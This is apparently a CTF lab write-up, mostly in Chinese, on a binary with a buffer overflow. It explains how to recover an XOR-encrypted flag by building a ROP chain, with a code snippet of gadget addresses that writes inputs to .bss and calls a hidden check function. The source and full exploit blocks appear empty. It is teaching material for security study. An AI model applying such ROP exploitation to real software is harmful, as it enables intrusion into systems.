Simple PWN 0x33(2023 Lab - ROP_RW)
Background
ROP chain
Source code
:::spoiler Source Code
1 |
|
:::
Recon
先看這個程式的行為,在main當中,他會打開flag.txt和urandom這兩個file,然後做兩者的XOR,並且回傳urandom的內容給我們,並且有BOF的漏洞存在
:::info
flag和secret這兩個變數都是global variable
:::
而check這個function的功能是我們可以輸入一個input,他會和secret做XOR,若結果等於==kyoumokawaii==就把前面加密過的flag再跟kyoumokawaii
做XOR並回傳給我們
思路很簡單:
雖然整隻程式都沒有呼叫到check function,但如果我們拿到secret,又可以進到check,是否可以做一些操作拿到flag
一開始一定會做的事情是把flag加密
\(cipher= flag \oplus secret\\\)
如果可以進到check function
\(input\leftarrow kyoumokawaii\oplus secret\)
\(output\leftarrow cipher\oplus kyoumokawaii=flag\oplus secret\oplus kyoumokawaii\)
\(flag = output\oplus secret\oplus kyoumokawaii\)
此時output
, secret
都已知,我們反推出flag為何,但重點是要怎麼呼叫到check function?==ROP chain + BOF==
- 先利用該隻binary的gadget蓋成我們需要的chain,並且隨便找一個區間是不太會寫入的bss section address
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16check_fn_addr = 0x4017ba bss_section = 0x4c7f00 pop_rdx_rbx_ret = 0x0000000000485e8b mov_qword_ptr_rdi_rdx_ret = 0x00000000004337e3 pop_rdi_ret = 0x00000000004020af ... rop_chain = flat( pop_rdi_ret, bss_section, pop_rdx_rbx_ret, input_1, 0, mov_qword_ptr_rdi_rdx_ret, pop_rdi_ret, bss_section + 0x8, pop_rdx_rbx_ret, input_2, 0, mov_qword_ptr_rdi_rdx_ret, pop_rdi_ret, bss_section, check_fn_addr )
- 等到跳到check function後就可以開始接return output,並按照上面的公式回推flag
Exploit - ROP + BOF
1 |
|